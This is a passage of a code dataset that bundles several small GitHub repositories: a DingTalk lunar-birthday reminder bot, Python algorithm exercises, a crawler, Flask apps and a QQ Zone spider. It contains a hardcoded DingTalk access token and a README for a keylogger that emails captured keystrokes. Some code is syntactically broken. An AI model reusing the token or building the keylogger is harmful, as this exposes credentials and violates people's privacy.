环境:python3.6\n\n#### 安装\n1.下载源代码到本地\n\n2.安装依赖包,命令:pip install requestments.txt\n\n#### 快速使用-可进入钉钉群查看推送效果http://ww1.sinaimg.cn/large/7db06aably1fxx6ax9a4fj20ay0jrwfw.jpg\n1.打开run.py修改“schedule.every().day.at(\"09:02\").do(run)”自定义每天推送消息时间;\n \n2.运行‘python run.py’ 大功告成\n\n\n\n\n#### 详细/自定义使用步骤:\n1.进入birthday_notice.py 修改第16行access_token为你的access_token,access_token哪里来,参照https://open-doc.dingtalk.com/docs/doc.htm?treeId=257&articleId=105735&docType=1\n\n2.打开data.csv添加寿星的农历/阴历生日列表:姓名,月,日。记住是农历的哦!!以英文逗号隔开,多个寿星换行。注意“月日”格式为“1”型,不是“01”型。\n\n3.打开run.py\n\na.修改“for i in range(24)”中的数字为你的寿星个数(data.csv的行数)\n\nb.修改“schedule.every().day.at(\"09:02\").do(run)”自定义每天推送消息时间;\n\nc.命中生日时间范围“birthdayNotice_job(bri_name,int(bri_mon),int(bri_day),futureDays=5)”中的futureDays字段。\n \n4.运行‘python run.py’ 大功告成\n \n#### 其他\n钉钉推送消息支持多样式,具体参考https://github.com/zhuifengshen/DingtalkChatbot 进行自定义你的样式\n" }, { "alpha_fraction": 0.541478157043457, "alphanum_fraction": 0.6173956990242004, "avg_line_length": 44.25581359863281, "blob_id": "7d40098dd7d78e60e1e22fe125ab36162b09848e", "content_id": "7c2744a093d652f1284f93f7d6d7db7726f4c4a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2257, "license_type": "no_license", "max_line_length": 196, "num_lines": 43, "path": "/birthday_notice.py", "repo_name": "zj1257/DingtalkNotice", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 -*-\r\n'''\r\npip install DingtalkChatbot\r\npip install sxtwl\r\n'''\r\n\r\nfrom dingtalkchatbot.chatbot import DingtalkChatbot\r\nimport time\r\nimport sxtwl\r\nlunar = sxtwl.Lunar() \r\nfrom One2TwoDigit import One2TwoDigit,addYear\r\nfrom differ_days import date_part\r\nimport datetime\r\n\r\n# 初始化机器人小丁\r\nwebhook = 'https://oapi.dingtalk.com/robot/send?access_token=7c833de5d1f77ee3b24ad6871dd0a5bddf91ab58e4331ae2b326d6f510d90420' #填写你自己创建的机器人\r\nxiaoding = DingtalkChatbot(webhook)\r\n\r\nymc = [\"11\", \"12\", \"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\" ]\r\nrmc = [\"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"30\", \"31\"] \r\ndef birthdayNotice_job(bri_name,bri_mon,bri_day,futureDays=3):\r\n print(\"birthdayNotice_job is working...\")\r\n dayYinli2Yangli = lunar.getDayByLunar(int(time.strftime(\"%Y\")), bri_mon, bri_day , False) #查询阴历2018年10月20日的信息,最后一个False表示是否是润月,填True的时候只有当年有润月的时候才生效\r\n yangliDay = (str(dayYinli2Yangli.y) + One2TwoDigit(str(dayYinli2Yangli.m)) + One2TwoDigit(str(dayYinli2Yangli.d)))\r\n yangliDayMsg ='农历:' + (str(bri_mon) + '月' + (str(bri_day)) + '日' )\r\n print(bri_name+'阳历生日是:'+yangliDay)\r\n d2 = date_part(yangliDay) \r\n d1 = date_part(date=datetime.datetime.now().strftime('%Y%m%d'))\r\n differ_day = (d2 - d1).days\r\n \r\n if 0<differ_day<=futureDays:\r\n name = bri_name\r\n xiaoding.send_text(msg= yangliDayMsg + '是【' + name + '】的生日🎂\\n再过' + str(differ_day) + '天就到了~\\n', is_at_all=True) # Text消息@所有人\r\n print(time.strftime(\"%Y-%m-%d\") + name + '的生日提前提醒发送完毕~\\n')\r\n elif differ_day==0 :\r\n name = bri_name\r\n xiaoding.send_text(msg='今天是【' + name + '】的生日🎂\\n祝寿星生日快乐!\\n', is_at_all=True) # Text消息@所有人\r\n print(time.strftime(\"%Y-%m-%d\") + name + '的当天生日提醒发送完毕~\\n')\r\n\r\n# bri_name = '吴承恩'\r\n# bri_mon = 11\r\n# bri_day = 1\r\n# birthdayNotice_job(bri_name,bri_mon,bri_day)\r\n" } ]
3
ziippy/python_work
https://github.com/ziippy/python_work
83bab9b8e7829020870b7892cb06003ee6804e15
7799c180cec289567602f11a156235a352219ca9
39af69d7180b57ec8bf32ac08063f2e28b4b77ca
refs/heads/master
2023-02-27T00:10:17.663495
2021-02-08T14:52:27
2021-02-08T14:52:27
316,088,504
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4051620662212372, "alphanum_fraction": 0.5222088694572449, "avg_line_length": 26.31147575378418, "blob_id": "ca3898066e1e6769a456e82cf859a669b37b6411", "content_id": "483d9be063149cc1e99fdfec053119a329667304", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2154, "license_type": "no_license", "max_line_length": 91, "num_lines": 61, "path": "/dynamic_programming_painting_tiles.py", "repo_name": "ziippy/python_work", "src_encoding": "UTF-8", "text": "'''\n2 x N 크기의 구역을\n2 x 1 이나 2 x 2 크기의 타일을 사용해서, 채울 수 있는 경우의 수를 구해보자.\n단, 실제 경우의 수는 너무 많을 수 있으므로 구한 경우의 수를 주어진 M 으로 나눈 나머지만 출력하자.\n\n예)\n2 x 8 크기의 구역에 대해서.. 주어진 100으로 나눈 나머지는 71 이 나온다.\n\n힌트\n전체 영역이 2 x 3 인 경우는 2 x 2 인 경우와, 2 x 1 인 경우를 합하면 구할 수 있으며\n2 x 1 인 경우가 왼쪽에 올 수 있는 경우와 오른쪽에 올 수 있는 경우로 나눌 수 있다. 즉, 2 x 1 영역의 경우를 2배 해 주면 된다.\n\n그러므로\n2 x 3 의 경우 2x2 인 경우 3 + 2x1 인 경우 1*2 = 5\n2 x 4 의 경우 (위에꺼까지 해서 5가 2x2 에 해당하는 거고, 3이 2x1에 해당한다) 그러므로, 5 + 3*2 = 11\n2 x 5 의 경우는 11 + 5*2 = 21\n...\n'''\n\ndef Solution(N, M):\n if N == 1: # N이 1이면 경우의 수는 1\n return 1 % M\n elif N == 2: # N이 2이면 경우의 수는 3\n return 3 % M\n else: # N이 3 이상이면 로직이 필요\n local_sum_1 = 1 # 2x1 의 경우\n local_sum_2 = 3 # 2x2 의 경우\n local_sum_all = 0\n\n for i in range(2, N, 1):\n local_sum_tmp = (local_sum_2 + local_sum_1 * 2) % M\n local_sum_1 = local_sum_2\n local_sum_2 = local_sum_tmp\n #\n local_sum_all = local_sum_tmp\n\n print(f'local sum #1: {local_sum_1}, #2: {local_sum_2}, #tmp: {local_sum_tmp}')\n return local_sum_all\n\nprint(Solution(3, 100)) # 5\nprint(Solution(4, 100)) # 11\nprint(Solution(5, 100)) # 11\nprint(Solution(8, 100)) # 71\n'''\nlocal sum #1: 3, #2: 5, #tmp: 5\n5\nlocal sum #1: 3, #2: 5, #tmp: 5\nlocal sum #1: 5, #2: 11, #tmp: 11\n11\nlocal sum #1: 3, #2: 5, #tmp: 5\nlocal sum #1: 5, #2: 11, #tmp: 11\nlocal sum #1: 11, #2: 21, #tmp: 21\n21\nlocal sum #1: 3, #2: 5, #tmp: 5\nlocal sum #1: 5, #2: 11, #tmp: 11\nlocal sum #1: 11, #2: 21, #tmp: 21\nlocal sum #1: 21, #2: 43, #tmp: 43\nlocal sum #1: 43, #2: 85, #tmp: 85\nlocal sum #1: 85, #2: 71, #tmp: 71\n71\n'''\n" }, { "alpha_fraction": 0.5512890815734863, "alphanum_fraction": 0.6001096963882446, "avg_line_length": 25.823530197143555, "blob_id": "46efe89dcf8623026ac4b062595022ae784b785f", "content_id": "695524f0171e9376f9a5e6a4005f554d4b8b1b25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1941, "license_type": "no_license", "max_line_length": 149, "num_lines": 68, "path": "/get_maximum_difference_between_two_elements.py", "repo_name": "ziippy/python_work", "src_encoding": "UTF-8", "text": "'''\nGiven an array arr[] of integers, find out the maximum difference between any two elements such that larger element appears after the smaller number.\n\nExamples\n\nInput : arr = {2, 3, 10, 6, 4, 8, 1}\nOutput : 8\nExplanation : The maximum difference is between 10 and 2.\n\nInput : arr = {7, 9, 5, 6, 3, 2}\nOutput : 2\nExplanation : The maximum difference is between 9 and 7.\n'''\n\n# arr = [2, 3, 10, 2, 4, 8, 1]\n# arr = [4, 3, 2, 1]\narr = [7, 9, 5, 6, 3, 2]\n# print(arr)\n\n# 심플하고 arr 이 작으면 문제 없는 코드\nmax_diff_value = -1\nfor i, value in enumerate(arr):\n if i == 0:\n continue\n for p in range(i-1, -1, -1):\n diff = value - arr[p]\n # print(f'value: {value}, p: {p}, diff: {diff}')\n if diff > max_diff_value:\n max_diff_value = diff\n\nprint(f'max diff is {max_diff_value}')\n\n# arr 이 크면?\nimport numpy as np\nfrom tqdm import tqdm\n\n#arr = np.random.randint(1000000, size=2*100000)\narr = np.random.randint(10, size=10000)\n# arr = [7, 9, 5, 6, 3, 2]\n# print(arr)\nprint('random array ready')\n\n# 아래처럼 기존 방식대로 구현하면, 복잡도는 O(n^2) .. performance test 에서 FAIL\nmax_diff_value = -1\nfor i, value in enumerate(tqdm(arr)):\n if i == 0:\n continue\n for p in range(i-1, -1, -1):\n diff = value - arr[p]\n # print(f'value: {value}, p: {p}, diff: {diff}')\n if diff > max_diff_value:\n max_diff_value = diff\n\nprint(f'1st case - max diff is {max_diff_value}')\n\n# 아래처럼 max_diff_value 와 min_value 를 keep 하는 방식으로 구현하면, 복잡도는 O(n) .. performance test 에서 OK\nmax_diff_value = -1000001\nmin_value = arr[0]\nfor i, value in enumerate(tqdm(arr)):\n if i == 0:\n continue\n diff = value - min_value\n if diff > 0 and diff > max_diff_value:\n max_diff_value = diff\n if min_value > value:\n min_value = value\n\nprint(f'2nd case - max diff is {max_diff_value}')" }, { "alpha_fraction": 0.7530487775802612, "alphanum_fraction": 0.7530487775802612, "avg_line_length": 31.899999618530273, "blob_id": "890c1a1c72547cb8e7115c16612175aad0af40b2", "content_id": "9c5a131dcc34ec85e166396d9ff1f87f5fb061a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 476, "license_type": "no_license", "max_line_length": 72, "num_lines": 10, "path": "/README.md", "repo_name": "ziippy/python_work", "src_encoding": "UTF-8", "text": "# 파이썬으로 만든 여러가지 \ncrawling.py - 말 그대로 크롤링. but, 재귀함수 호출 방식이라 느리다..\n\ndecision_tree_for_digits.py - sklearn 의 digits 에 대해 decision tree 로 분류\n\nget_maximum_difference_between_two_elements - 리스트에서 element 간의 최대 차이 구하기\n\ndynamic_programming_climbing_stairs_game - 동적 계획법 (계단 오르기 게임)\n\ndynamic_programming_painting_tiles - 동적 계획법 (타일 그리기)" }, { "alpha_fraction": 0.7203065156936646, "alphanum_fraction": 0.7337164878845215, "avg_line_length": 26.394737243652344, "blob_id": "8327ac38d6b8307ed3e7da31c518748b6450c038", "content_id": "8fd6be974afa80800a1564afb91fadf474044cf4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1118, "license_type": "no_license", "max_line_length": 68, "num_lines": 38, "path": "/decision_tree_for_digits.py", "repo_name": "ziippy/python_work", "src_encoding": "UTF-8", "text": "# decision tree\nimport matplotlib.pyplot as plt\nimport random\nfrom sklearn import datasets, tree\nfrom sklearn.metrics import accuracy_score, confusion_matrix\nfrom sklearn.metrics import precision_score, recall_score, f1_score\n\n# 데이터 읽어오기\ndigits = datasets.load_digits()\n\n# 이미지를 표시\nfor label, img in zip(digits.target[:10], digits.images[:10]):\n plt.subplot(2, 5, label+1)\n plt.imshow(img, cmap=plt.cm.gray_r, interpolation='nearest')\n plt.title('Digit: {0}'.format(label))\n#plt.show()\n\nprint(label, img, img.shape)\n\n#\nimages = digits.images\nlabels = digits.target\n\n# 차원을 하나 줄인다.\nimages = images.reshape(images.shape[0], -1)\n\n# 결정트리 생성\nn_samples = len(images)\ntrain_size = int(n_samples * 2/3)\nclassifier = tree.DecisionTreeClassifier(max_depth=3)\nclassifier.fit(images[:train_size], labels[:train_size])\n\n# 결정트리의 성능을 확인\nexpected = labels[train_size:]\npredicted = classifier.predict(images[train_size:])\n\nprint('Accuracy: \\n', accuracy_score(expected, predicted))\nprint('Confusion matrix: \\n', confusion_matrix(expected, predicted))\n\n\n\n" }, { "alpha_fraction": 0.5421530604362488, "alphanum_fraction": 0.6309987306594849, "avg_line_length": 25.586206436157227, "blob_id": "a0d9538f2123f02173ea2f202640faf1f49b6bc9", "content_id": "15c6a1062858187b936f1d483fca81d0b6d4ca34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2286, "license_type": "no_license", "max_line_length": 78, "num_lines": 58, "path": "/dynamic_programming_climbing_stairs_game.py", "repo_name": "ziippy/python_work", "src_encoding": "UTF-8", "text": "'''\n계단 오르기는 계단 아래 시작점부터 계단 꼭대기 도착점까지 가장 계단을 적게 밟고 올라가는 게임이다.\n예를 들어\n10(시작) 20 15 25 10 20(도착)\n으로 계단이 있을 때\n10(시작) 20 25 20(도착)\n이렇게 밟았다면 총 점수는 10 + 20 + 25 + 20 = 75 점이 된다.\n\n다음과 같은 3가지 규칙이 있다.\n- 계단은 한번에 1개 또는 2개의 계단을 오를 수 있다. 즉, 계단 하나를 밟으면 이어서 다음 계단이나 다음 다음 계단으로 오를 수 있다.\n- 한꺼번에 2개의 계단을 오를 때는 중간 계단을 밟아서는 안된다. 단 시작점은 계단에 포함되지 않는다.\n- 마지막 도착 계단은 반드시 밟아야 한다.\n\n각 계단에 적혀 있는 점수가 주어질 때 이 게임에서 얻을 수 있는 점수의 최대값을 구하는 프로그램을 작성해보자.\n\nsample\n10 20 15 25 10 20 -> 75\n13 1 15 27 29 21 20 -> 96\n'''\n\n# 따라서 단순히 이전 계단들의 누적된 값에 현재 계단의 점수를 더하는 것이 아니라\n# 현재 계단에서 이전 계단을 밟고 왔는지 그렇지 않은지의 경우를 비교해서 더 높은 점수인 경우를 선택해야 한다.\n\n#list_steps = [10, 20, 15, 25, 10, 20]\nlist_steps = [13, 1, 15, 27, 29, 21, 20]\nlist_steps = [0] + list_steps # 0번째 계단이 있어야 하므로 [0]을 앞에 추가한다.\nsolution_steps = [0] * len(list_steps)\n\n# 처음부터 두 번째 계단까지 값을 구함\nsolution_steps[0] = 0\nsolution_steps[1] = list_steps[1]\nsolution_steps[2] = list_steps[1] + list_steps[2]\n\n# 세번째 계단 부터 누적값을 계산함\nfor i in range(3, len(list_steps), 1):\n no_jump_steps = list_steps[i] + list_steps[i-1] + solution_steps[i-3]\n one_jump_steps = list_steps[i] + solution_steps[i-2]\n\n # 둘 중 큰 값을 선택\n if no_jump_steps > one_jump_steps:\n solution_steps[i] = no_jump_steps\n else:\n solution_steps[i] = one_jump_steps\n\n print(f'solution_steps[{i}] : {solution_steps[i]}')\n\nprint(solution_steps[len(list_steps)-1])\n\nprint(solution_steps)\n'''\nsolution_steps[3] : 28\nsolution_steps[4] : 55\nsolution_steps[5] : 70\nsolution_steps[6] : 78\nsolution_steps[7] : 96\n96\n[0, 13, 14, 28, 55, 70, 78, 96]\n'''\n" }, { "alpha_fraction": 0.598471462726593, "alphanum_fraction": 0.6149324178695679, "avg_line_length": 34.4375, "blob_id": "384fa38877efddcf3f3451405ca28e5f82090198", "content_id": "1377bf4e6e4ab9f4f623136a2d752510401584ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1701, "license_type": "no_license", "max_line_length": 111, "num_lines": 48, "path": "/crawling.py", "repo_name": "ziippy/python_work", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\n\nimport urllib.request\nimport os\n\ndef crawler(root_folder, url_base, url):\n #html = requests.get('http://cs231n.stanford.edu/slides/2015/caffe_tutorial.pdf')\n html = requests.head(url)\n # print(html.headers)\n cType = html.headers['Content-Type']\n if 'html' not in cType:\n # to file\n sub_url = url.replace(url_base, '')\n sub_url = root_folder + '/' + sub_url\n if len(sub_url) > 0:\n directory_path = os.path.dirname(sub_url)\n if os.path.isdir(directory_path) is False:\n os.makedirs(directory_path, exist_ok=True)\n print('directory created: ' + directory_path)\n\n urllib.request.urlretrieve(url, sub_url)\n print('file downloaded: ' + sub_url)\n return\n\n # to html\n html = requests.get(url)\n soup = BeautifulSoup(html.text, 'html.parser')\n links = soup.body.find_all('a')\n # print(links)\n\n is_find_parent_directory = False\n for link in links:\n # print(link.text.strip(), link.get('href'))\n if link.text.strip() == 'Parent Directory':\n is_find_parent_directory = True\n continue\n\n if is_find_parent_directory is True:\n print('Go to link: ', url + link.get('href'))\n crawler(root_folder, url_base, url + link.get('href'))\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n root_folder = 'cs231n.stanford.edu'\n crawler(root_folder, 'http://cs231n.stanford.edu/slides/', 'http://cs231n.stanford.edu/slides/')\n #crawler('http://cs231n.stanford.edu/slides/', 'http://cs231n.stanford.edu/slides/2015/caffe_tutorial.pdf')\n" } ]
6
ashi-agrawal-06/web-app
https://github.com/ashi-agrawal-06/web-app
a09f2f845e0f34e7a8ae6b62d3860ac18a3456a5
a7dd5a1bb624287acd80372661c82c462af12f74
fbbaceef65c51d960388a94c130993775975ee24
refs/heads/main
2023-02-06T14:51:42.740459
2020-12-17T14:17:49
2020-12-17T14:17:49
322,306,697
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6601208448410034, "alphanum_fraction": 0.670694887638092, "avg_line_length": 28.090909957885742, "blob_id": "6544c010710c53e6b006701f77cee8074ac98158", "content_id": "7661520dbc21ce9fa59f2b43f51c493c92b1d57f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 662, "license_type": "no_license", "max_line_length": 94, "num_lines": 22, "path": "/main.py", "repo_name": "ashi-agrawal-06/web-app", "src_encoding": "UTF-8", "text": "from flask import session,redirect,request,render_template,Flask\r\n#flas-microframework\r\nimport os\r\nimport numpy as np\r\n\r\napp=Flask(__name__) #flask ka object\r\napp.secret_key=\"last topic ki khushi\"\r\n\r\[email protected]('/') #jitne pages utni baar likho ,first page=/. this will be the first page launch\r\ndef index():\r\n data=np.random.randint(1,100,100)\r\n return render_template('index.html',data=data)\r\n\r\[email protected]('/home',methods=['POST','GET'])\r\ndef home():\r\n if request.method=='POST'\r\n data=os.listdir()\r\n return render_template('home.html',\r\n files=data)\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True) #run krane ka code,flask ka object\r\n" } ]
1
TheSarang/Statlog-German_Credit_Data-_project
https://github.com/TheSarang/Statlog-German_Credit_Data-_project
d52e64ad1d7a467ed650d2a25026151dbabbcd6c
cdb7a7aa5c9726b6a18dad649bb3339492e5dcc4
8f3b34d97f96b4e2651e6587b0026a6363341590
refs/heads/master
2020-03-23T19:54:27.404844
2018-07-23T12:13:37
2018-07-23T12:13:37
142,009,455
0
0
null
2018-07-23T12:12:15
2018-05-19T18:00:17
2018-06-17T11:28:10
null
[ { "alpha_fraction": 0.7644444704055786, "alphanum_fraction": 0.7911111116409302, "avg_line_length": 35.66666793823242, "blob_id": "a34dd04d8abf70e3d51b664e06ef1f70d2ff9481", "content_id": "f2a25f3c87e55c44bfa463e932237d335b17ba81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "no_license", "max_line_length": 104, "num_lines": 6, "path": "/q05_split/build.py", "repo_name": "TheSarang/Statlog-German_Credit_Data-_project", "src_encoding": "UTF-8", "text": "import sys, os\nfrom sklearn.model_selection import train_test_split\nfrom greyatomlib.statlog_german_credit_data_project.q03_encode_features.build import q03_encode_features\npath = 'data/GermanData.csv'\n\ndef q05_split():\n \n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.8139534592628479, "avg_line_length": 41.5, "blob_id": "01bcd8db703109f1d64978f5477da572d2d5d01a", "content_id": "0f59af5ef703d406439dbc98b2f8a85b06f9df07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 430, "license_type": "no_license", "max_line_length": 116, "num_lines": 10, "path": "/q07_randomsearch_predict/build.py", "repo_name": "TheSarang/Statlog-German_Credit_Data-_project", "src_encoding": "UTF-8", "text": "import sys, os\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.metrics import roc_auc_score\nfrom greyatomlib.statlog_german_credit_data_project.q06_feature_preprocessing.build import q06_feature_preprocessing\n\npath = 'data/GermanData.csv'\n\ndef q07_randomsearch_predict():\n \n" }, { "alpha_fraction": 0.6691176295280457, "alphanum_fraction": 0.6838235259056091, "avg_line_length": 66.80000305175781, "blob_id": "3a1b2caa3de8e935ab77f3908ebd04c92041ad12", "content_id": "cf307fbbdf1961d86df57a348e80810db9b5e22f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 680, "license_type": "no_license", "max_line_length": 376, "num_lines": 10, "path": "/q01_load_data_and_add_column_names/build.py", "repo_name": "TheSarang/Statlog-German_Credit_Data-_project", "src_encoding": "UTF-8", "text": "# %load q01_load_data_and_add_column_names/build.py\nimport pandas as pd\npath = './data/GermanData.csv'\n\ndef q01_load_data_and_add_column_names(path):\n df = pd.read_csv(path, sep=',', header=None, names=['account_status', 'month', 'credit_history', 'purpose', 'credit_amount', 'savings_account/bonds','employment','installment_rate','personal_status/sex','guarantors','residence_since','property','age','other_installment_plans','housing','number_of_existing_credits','job','liable','telephone','foreign_worker','good/bad'])\n df.loc[df['good/bad'] == 1, 'good/bad'] = 0\n df.loc[df['good/bad'] == 2, 'good/bad'] = 1\n return df\nq01_load_data_and_add_column_names(path)\n\n\n" }, { "alpha_fraction": 0.7737789154052734, "alphanum_fraction": 0.7892031073570251, "avg_line_length": 36.900001525878906, "blob_id": "657479f870f770641e8e7943854f2893778cc4a9", "content_id": "4575fe57bb4d228b76fb43803bbabe7255779ab1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 389, "license_type": "no_license", "max_line_length": 84, "num_lines": 10, "path": "/q06_feature_preprocessing/build.py", "repo_name": "TheSarang/Statlog-German_Credit_Data-_project", "src_encoding": "UTF-8", "text": "import sys, os\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.feature_selection import SelectKBest\nfrom imblearn.over_sampling import SMOTE\nfrom greyatomlib.statlog_german_credit_data_project.q05_split.build import q05_split\npath = 'data/GermanData.csv'\n\n\ndef q06_feature_preprocessing():\n \n \n" } ]
4
MarquezCristian/Keylogger
https://github.com/MarquezCristian/Keylogger
634add6a349a52bbf0951520ecde419653f79990
d8b74107154341ebc65e481f1c3f6d4655c27359
3a6ef521e32c47701d7181e1c0bfd01f54af91b8
refs/heads/master
2022-08-19T15:42:25.147930
2020-05-19T17:29:15
2020-05-19T17:29:15
265,314,046
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8093994855880737, "alphanum_fraction": 0.8093994855880737, "avg_line_length": 62.83333206176758, "blob_id": "d8960d3e4f040418d99f21c4af83bc79a2a3b165", "content_id": "1d0ba5134310eef14522a9bbb298ced87cf021d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 385, "license_type": "no_license", "max_line_length": 109, "num_lines": 6, "path": "/README.md", "repo_name": "MarquezCristian/Keylogger", "src_encoding": "UTF-8", "text": "# Keylogger\nKeylogger que guarda todas las pulsaciones y las envía al correo electrónico asignado\nEn el archivo config se carga el mail al que quieras que lleguen la informcion\nEsta configurado para usarlo con gmail, si vas a usar otra cuenta tenes que modificar el puerto en el archivo\n\nSe realizo con fines educativos , no me hago responsable por el uso que le pueden llegar a dar\n" }, { "alpha_fraction": 0.739130437374115, "alphanum_fraction": 0.739130437374115, "avg_line_length": 56, "blob_id": "f8a80c8c28eda9f64261659af3cb569f798d2a4e", "content_id": "f85ff560f9a9fea2c7ae629b9bfc85135b77e9a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 116, "license_type": "no_license", "max_line_length": 57, "num_lines": 2, "path": "/config.py", "repo_name": "MarquezCristian/Keylogger", "src_encoding": "UTF-8", "text": "\nfromAddr = #se escribe el correo gmail de correo entre \"\"\nfromPswd = #se escribe la contraseña de correo entre \"\"\n" } ]
2
Antonov548/course10012020
https://github.com/Antonov548/course10012020
6d672985176b490de604b8736ac2642ec1f62682
3a93028b33063d026fc3beb38eaf51097e40b956
75cd641a17bd7cb383b15978504ef7292c9e2604
refs/heads/master
2020-12-08T04:59:55.325164
2020-01-09T19:50:22
2020-01-09T19:50:22
232,891,735
0
0
null
2020-01-09T19:47:27
2020-01-08T07:53:17
2020-01-09T18:15:03
null
[ { "alpha_fraction": 0.6838878989219666, "alphanum_fraction": 0.6996497511863708, "avg_line_length": 34.774192810058594, "blob_id": "1c9de10317497326f27fed2dc71e91d12b8aa51c", "content_id": "cc2a52a52f68aa957aa7bed4e7d0d1541390a577", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1142, "license_type": "no_license", "max_line_length": 109, "num_lines": 31, "path": "/kursach/GitLecture/dao/entities.py", "repo_name": "Antonov548/course10012020", "src_encoding": "UTF-8", "text": "from sqlalchemy.ext.declarative import declarative_base\r\nfrom sqlalchemy import Column, Integer, String, Date, ForeignKey, Boolean, ForeignKeyConstraint, update, func\r\nfrom sqlalchemy.orm import relationship\r\n\r\nBase = declarative_base()\r\n\r\nclass User(Base):\r\n __tablename__ = 'Users'\r\n\r\n user_id = Column(Integer, primary_key=True, autoincrement=True)\r\n user_login = Column(String(255), nullable=False)\r\n user_url = Column(String(255), nullable=False)\r\n\r\n user_lectures = relationship(\"Lecture\")\r\n\r\nclass Subject(Base):\r\n __tablename__ = 'Subjects'\r\n\r\n subject_id = Column(Integer, primary_key=True, autoincrement=True)\r\n subject_name = Column(String(255), nullable=False)\r\n subject_description = Column(String(255), nullable=False)\r\n\r\n\r\nclass Lecture(Base):\r\n __tablename__ = 'Lectures'\r\n\r\n lecture_id = Column(Integer, primary_key = True, autoincrement=True)\r\n lecture_name = Column(String(255), nullable=False)\r\n gitgist_id = Column(String(255), nullable=False)\r\n user_id_fk = Column(Integer, ForeignKey('Users.user_id'))\r\n subject_id_fk = Column(Integer, ForeignKey('Subjects.subject_id'))\r\n\r\n" } ]
1
xiaodin1/QQZoneMood
https://github.com/xiaodin1/QQZoneMood
df94d8b03aa1f4735a9cd2a1ff1992a8b45bdf05
0176e666dafc0acac379148b3969fe1410a85e73
01877a53c5c01af8cf96668c8f177346217660cd
refs/heads/master
2020-05-21T06:19:17.443446
2019-05-09T20:34:10
2019-05-09T20:34:10
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5981212854385376, "alphanum_fraction": 0.605064332485199, "avg_line_length": 34.2230224609375, "blob_id": "0f7735bff39bd6cd3fa25bb31870adbb1e7df02d", "content_id": "dc3822531ad58d6d4c74270ee58adbcd5e22eeb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4989, "license_type": "no_license", "max_line_length": 115, "num_lines": 139, "path": "/src/web/controller/spiderController.py", "repo_name": "xiaodin1/QQZoneMood", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, send_from_directory, Blueprint,session\n\nimport json\nfrom src.util.constant import *\nfrom src.web.entity.UserInfo import UserInfo\nfrom flask import request\nfrom src.spider.main import web_interface\nimport threading\nfrom time import sleep\nimport redis\n\nfrom src.web.web_util.web_util import get_pool, check_password, md5_password, init_redis_key, get_redis_conn, \\\n get_docker_pool, judge_pool\n\nspider = Blueprint('spider',__name__)\n\[email protected]('/query_spider_info/<QQ>/<password>')\ndef query_spider_info(QQ, password):\n pool_flag = session.get(POOL_FLAG)\n conn = get_redis_conn(pool_flag)\n if not check_password(conn, QQ, password):\n return json.dumps(dict(finish=-2))\n info = conn.lpop(WEB_SPIDER_INFO + QQ)\n finish = 0\n mood_num = -1\n friend_num = 0\n if info is not None:\n if info.find(FRIEND_INFO_PRE) != -1:\n finish = 2\n friend_num = int(info.split(':')[1])\n elif info.find(MOOD_NUM_PRE) != -1:\n finish = 1\n mood_num = int(info.split(':')[1])\n elif info.find(\"失败\") != -1:\n finish = -1\n mood_num = -1\n\n result = dict(info=info, finish=finish, mood_num=mood_num, friend_num=friend_num)\n return json.dumps(result, ensure_ascii=False)\n\n\[email protected]('/query_spider_num/<QQ>/<mood_num>/<password>')\ndef query_spider_num(QQ, mood_num, password):\n pool_flag = session.get(POOL_FLAG)\n conn = get_redis_conn(pool_flag)\n if not check_password(conn, QQ, password):\n return json.dumps(dict(finish=-2))\n info = conn.get(MOOD_COUNT_KEY + str(QQ))\n finish = 0\n if int(info) >= int(mood_num):\n finish = 1\n return json.dumps(dict(num=info, finish=finish))\n\[email protected]('/start_spider', methods=['GET', 'POST'])\ndef start_spider():\n\n if request.method == 'POST':\n nick_name = request.form['nick_name']\n qq = request.form['qq']\n stop_time = str(request.form['stop_time'])\n mood_num = int(request.form['mood_num'])\n cookie = request.form['cookie']\n if cookie == None or len(cookie) < 10:\n return json.dumps(dict(result=0), ensure_ascii=False)\n no_delete = False if request.form['no_delete'] == 'false' else True\n password = request.form['password']\n password = md5_password(password)\n print(\"begin spider:\", qq)\n pool_flag = session.get(POOL_FLAG)\n conn = 